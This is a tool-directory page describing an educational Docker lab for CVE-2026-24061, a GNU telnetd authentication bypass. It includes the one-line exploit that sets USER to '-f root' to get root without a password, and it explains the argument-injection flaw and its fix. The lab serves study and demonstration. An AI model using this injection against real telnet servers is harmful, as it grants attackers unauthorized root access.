Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/gabs-hub/cve-2026-24061_lab
Vulnerability AnalysisExploitationAuthenticationLearning & EducationLabs & Practice
GitHubgabs-hub/cve-2026-24061_lab

CVE-2026-24061_Lab

Educational Docker lab demonstrating CVE-2026-24061, an authentication bypass in GNU telnetd allowing root access via argument injection in the USER environment variable.

View Repository
289 months agoNot yet reviewed
Share

CVE-2026-24061 Telnetd Lab

This repository contains a simple Docker lab to demonstrate the CVE-2026-24061 vulnerability. It allows authentication bypass and root access on GNU telnetd, on Linux.

The purpose is exclusively educational.

Requirements

  • Docker installed
  • Telnet Client installed

Building the image

docker build -t cve-2026-24061 .

Running the container

docker run -it -p 2323:23 cve-2026-24061

Exploitation

In another terminal, run:

USER="-f root" telnet -a localhost 2323

After that, access will be granted directly as root, without a password prompt.

Notes

  • The container uses a vulnerable version of GNU inetutils telnetd
  • The Telnet service should not be exposed in real environments
  • Use this lab only for study and demonstration

How does the vulnerability work?

The flaw occurs due to an argument injection during the invocation of the /usr/bin/login utility. The telnetd dynamically builds the command line used to call login and includes the value of the USER environment variable through the %U placeholder, without any sanitization.

Since the login utility accepts the -f option, which bypasses password authentication, an attacker can set USER="-f root" and force a direct login as root.

Because telnetd runs with elevated privileges, this manipulation immediately results in a root shell without requiring valid credentials. The exploitation is simple, requires no prior interaction, and can be easily automated, which justifies the CVSS score of 9.8.

The vulnerability was fixed by introducing validation and sanitization of the USER variable, blocking values starting with a hyphen and special characters, preventing argument injection into login.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    795
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    520
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    439
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    267
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →